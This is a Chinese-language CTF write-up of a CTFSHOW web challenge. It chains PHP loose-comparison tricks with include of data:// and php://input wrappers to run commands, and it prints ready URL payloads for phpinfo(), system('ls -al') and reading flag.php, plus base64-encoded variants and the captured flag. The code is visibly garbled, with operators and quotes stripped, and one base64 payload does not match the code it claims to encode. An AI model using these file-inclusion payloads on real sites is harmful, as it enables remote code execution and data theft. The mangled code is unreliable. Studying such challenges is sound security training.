【CTF-WEB-反序列化】弱类型(==/===/is_numeric())、include伪协议利用(data://、php:/)、请求和返回的base64编码绕过

发布时间:2026/7/10 22:21:26
【CTF-WEB-反序列化】弱类型(==/===/is_numeric())、include伪协议利用(data://、php:/)、请求和返回的base64编码绕过 题目CTFSHOW-2026元旦跨年欢乐赛-CS2026-复现环境https://ctf.show/competitions/cs2026_replay/challenges/4633?phperror_reporting(0);highlight_file(__FILE__);$happy$_GET[happy];$new$_GET[new];$year$_GET[year];if($year2026$year!2026is_numeric($year)){include$happy[$new[$year]];}解题过程这道题核心考察PHP 弱类型比较特性、数组键名自动类型转换、文件包含漏洞 php://input 伪协议三个知识点我会一步步拆解原理、 payload 构造逻辑和执行流程。一、先读懂题目代码逻辑?phperror_reporting(0);// 关闭错误提示highlight_file(__FILE__);// 高亮显示源码// 接收三个 GET 参数$happy$_GET[happy];$new$_GET[new];$year$_GET[year];// 核心判断条件必须全部满足才能执行 includeif($year2026$year!2026is_numeric($year)){include$happy[$new[$year]];// 成功则执行文件包含}?核心条件拆解必须同时满足 3 个条件$year 2026弱类型相等$year ! 2026强类型不全等is_numeric($year)必须是数字/数字字符串二、突破条件限制 —— 构造$year1. PHP 弱类型特性核心考点弱比较不校验类型只比较值会自动做类型转换强比较同时校验值 类型is_numeric()允许浮点数、数字字符串2. 完美 payloadyear2026.0满足is_numeric(2026.0)→ 是浮点数条件成立满足2026.0 2026→ 弱比较时浮点数 2026.0 和整数 2026 值相等条件成立满足2026.0 ! 2026→ 一个是浮点数类型一个是整数类型强比较不相等条件成立✅ 三个条件全部满足成功进入include执行逻辑https://8e70c13a-3318-4914-ba54-caf7bc8207bb.challenge.ctf.show/?year2026.0三、构造数组 —— 让include指向可控路径代码中执行的是include$happy[$new[$year]];这是二维数组取值我们拆解一下第一步取$new[$year]→ 也就是$new[2026.0]第二步把第一步的结果作为键取$happy[结果]第三步include这个最终的值我们的构造逻辑让new[2026.0] k→ 固定键名k任意字母都行让happy[k] 恶意代码→ 把我们要执行的代码存在这个键里最终执行include$happy[k];// 而我们要让代码实际执行 include data://text/plain,?php phpinfo();?四、文件包含漏洞data://伪协议PHP中include可以直接执行文件/URL/伪协议这里用data协议直接执行PHP代码无需本地文件。data协议格式data://text/plain,?php 恶意代码 ?text/plain文本类型后面直接拼接PHP代码include会直接解析执行。我们用phpinfo();测试代码执行权限成功后替换为读取flag的代码即可。data://text/plain,?php phpinfo();?https://8e70c13a-3318-4914-ba54-caf7bc8207bb.challenge.ctf.show/?year2026.0new[2026.0]khappy[k]data://text/plain,%3C?php%20phpinfo();?%3E五、直接查看根目录?php system(ls -al); ?https://8e70c13a-3318-4914-ba54-caf7bc8207bb.challenge.ctf.show/?year2026.0new[2026.0]khappy[k]data://text/plain,%3C?php%20system(%27ls%20-al%27);%20?%3E获取结果total 24 drwxrwxrwx 1 www-data www-data 4096 Dec 30 10:20 . drwxr-xr-x 1 root root 4096 Dec 30 10:20 … -rw-r–r-- 1 www-data www-data 61 Apr 11 08:18 flag.php -rw-rw-r-- 1 root root 217 Dec 30 10:20 index.php存在flag.php六、获取flag.php文件?php echo(file_get_contents(flag.php));?https://8e70c13a-3318-4914-ba54-caf7bc8207bb.challenge.ctf.show/?year2026.0new[2026.0]khappy[k]data://text/plain,%3C?php%20echo(file_get_contents(%27flag.php%27));?%3E未获取到任何结果七、加密请求获取flag.php文件?php echo(file_get_contents(flag.php));?PD9waHAgZWNobyhmaWxlX2dldF9jb250ZW50cygnZmxhZy5waHAnKSk7Pz4K?year2026.0new[2026.0]khappy[k]data://text/plain;base64,PD9waHAgY29udGVudHMoJ2ZsYWcucGhwJyk7Pz4依然未获取到任何结果八、加密返回获取flag.php文件?phpechobase64_encode(file_get_contents(flag.php));?PD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCdmbGFnLnBocCcpKTs/Pg?year2026.0new[2026.0]khappy[k]data://text/plain;base64,PD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCdmbGFnLnBocCcpKTs/Pghttps://8e70c13a-3318-4914-ba54-caf7bc8207bb.challenge.ctf.show/?year2026.0new[2026.0]khappy[k]data://text/plain;base64,PD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCdmbGFnLnBocCcpKTs/Pg获取到了base64的加密结果PD9waHAgJGZsYWc9J2N0ZnNob3d7YzAzYjA0OWQtNWEzNy00MjE4LWE0OTUtOThjOGY1Y2ZhMmJkfSc7Cg进行解密?php$flagctfshow{c03b049d-5a37-4218-a495-98c8f5cfa2bd};附录方案二POST请求https://8e70c13a-3318-4914-ba54-caf7bc8207bb.challenge.ctf.show/?year2026.0new[2026.0]khappy[k]php://input